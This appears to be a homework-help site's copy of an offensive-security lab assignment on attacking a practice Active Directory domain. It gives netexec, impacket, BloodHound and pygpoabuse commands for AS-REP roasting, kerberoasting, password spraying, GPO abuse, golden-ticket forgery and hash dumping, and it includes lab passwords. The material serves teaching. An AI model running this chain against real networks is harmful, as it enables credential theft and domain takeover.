Different attacks against an active directory environment

Assignment Help Computer Network Security

Reference no: EM133799341

Offensive Security

Attacking Active Directory

Overview
In this lab we will conduct reconnaissance and perform a variety of different attacks against an Active Directory environment. Submit a screenshot as directed in the following tasks.

Technical Tasks

Start by doing a quick check of smb scan of the network, take note of which hosts respond. You should also add the domain names shown to /etc/hosts

netexec smb 192.168.56.1/24
netexec smb 192.168.56.11 --users
Create users.txt with all usernames found here

Test for ASREProastable accounts

/usr/share/doc/python3-impacket/examples/GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile users.txt
Crack the hash found here, show a screenshot of the cleartext result

We now have two different accounts with working passwords, create a file called users2.txt with the usernames and a file pass.txt with the passwords.

netexec smb 192.168.56.1/24 -u users2.txt -p pass.txt --continue-on-success
Show the successful authentication attempts

Run bloodhound-python with the username and password you discovered

bloodhound-python --zip -c All -u USER -p PASSWORD -d north.sevenkingdoms.local -ns 192.168.56.10
Make sure to replace USER and PASSWORD with this user's actual password
This has created a zip file in your current directory
In a terminal sudo neo4j console
In a separate terminal run bloodhound
log in with neo4j/Password1!
Drag the zip file into bloodhound
Submit a screenshot after selecting Find all Domain Admins form the Analysis tab

Test for kerberoastable accounts with discovered credentials Get Your Assignments Done Now!

netexec ldap 192.168.56.11 -u brandon.stark -p ‘PASSWORD' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING
Make sure to replace PASSWORD with this user's actual password
Submit a screenshot of the successful output

Run bloodhound against the parent domain with new credentials

bloodhound-python --zip -c All -d sevenkingdoms.local -u [email protected] -p PASSWORD -dc kingslanding.sevenkingdoms.local -ns 192.168.56.10
Make sure to replace PASSWORD with this user's actual password
Drag the new zip file to the same Bloodhound instance
Submit a screenshot of Pathfinding from Samwell.tarly to domain admin of sevenkingdoms.local

Samwell.Tarly has writeDacl permissions that would allow us to access the domain controller north.sevenkingdoms.local

git clone
python3 -m virtualenv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
Get the GPO ID by clicking on the GPO in bloodhound and using the ID found in the GPO File Path properties, it will look like what is below but may be different

python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "GPOID"

RDP into the the machine with the following
xfreerdp /u:john /p:"H4x00r123.." /v:192.168.56.11
You can now open a command prompt as an administrator.
Run the following to change Eddard.starks password
net user /domain Eddard.stark "Password1!"
NOTE: This is not something we would probably do on real domain without knowing the original password, but we need to move the story along

Now that we have admin access to the domain north.sevenkingdoms.local, we're interested in gaining access to the parent domain sevenkingdoms.local

To do this we'll create a golden ticket with an extra SID
secretsdump -just-dc-user north/krbtgt north.sevenkingdoms.local/eddard.stark:'Password1!'@192.168.56.11
lookupsid.py -domain-sids north.sevenkingdoms.local/eddard.stark:'Password1!'@192.168.56.11 0
lookupsid.py -domain-sids north.sevenkingdoms.local/eddard.stark:'Password1!'@192.168.56.10 0

Update the nthash, domain-sid, and extra sid (with -519 added at the end) with your output from the previous commands
ticketer.py -nthash 13354bc6e1b48fff8d66a2090e909b27 -domain-sid S-1-5-21-638448100-4005671799-261795860 -domain north.sevenkingdoms.local -extra-sid S-1-5-21-1409754491-4246775990-3914137275-519 goldenuser
export KRB5CCNAME=~/goldenuser.ccache
secretsdump -k -no-pass -just-dc-ntlm north.sevenkingdoms.local/[email protected]
Show the output of this secretsdump command

Crack the hashes of the secretsdump

Show a screenshot of the cracked hashes from sevenkingdoms.local
To show DA access, show the output of the following command:
netexec smb 192.168.56.10 -u cersei.lannister -p PASSWORD
Make sure to replace PASSWORD with this user's actual password
Show a screenshot of the output

Research
The second half of this lab will combine the research aspect with the technical problems that you have found in the previous section. Use your research to thoroughly explain each vulnerability, how it works, why it works, the underlying configurations, the tools we used and how those work with the settings provided, and anything else you deem relevant.
Explain Technical Task 2
Explain Technical Tasks 4 & 6 (Address returning different results)
Explain Technical Task 5
Explain Technical Task 7
Explain Technical Task 8

Reference no: EM133799341

Questions Cloud

Discuss the impact on the practice environment : Discuss the impact on the practice environment. Analyze the individual's leadership skills using either the American Association of Colleges of Nursing (AACN).

Develop a paper detailing an analysis of market structures : Develop a paper detailing an analysis of market structures and relating pricing strategies that are suitable for each of these structures.

Discuss importance of sound decision making in health care : Discuss the importance of sound decision making in health care. Describe the potential consequences of poor or uniformed decision making as a leader.

How your choice of housing will help achieve savings goal : Identify a personal savings goal and a time frame for reaching it. Explain how your choice of housing will help you achieve your personal savings goal.

Different attacks against an active directory environment : Conduct reconnaissance and perform a variety of different attacks against an Active Directory environment. Submit a screenshot as directed

Do you plan to go into career related to field of psychology : Do you plan to go into a career related to the field of social psychology? If not, do you see social psychology as being beneficial to your anticipated?

Evaluate why the mayflower compact was necessitated : Evaluate why the Mayflower Compact was necessitated. Describe in what ways the Mayflower Compact contributed to early self-government.

Discuss how information management system enhances : Discuss how information management system enhances overall business operations of your Chosen organization and analyse the role of ICT applications

What did you experience with mindful spiritual meditation : What did you experience with the mindful spiritual meditation? How can focusing on breathing and positive thoughts help us manage stress?

User Account

All Pages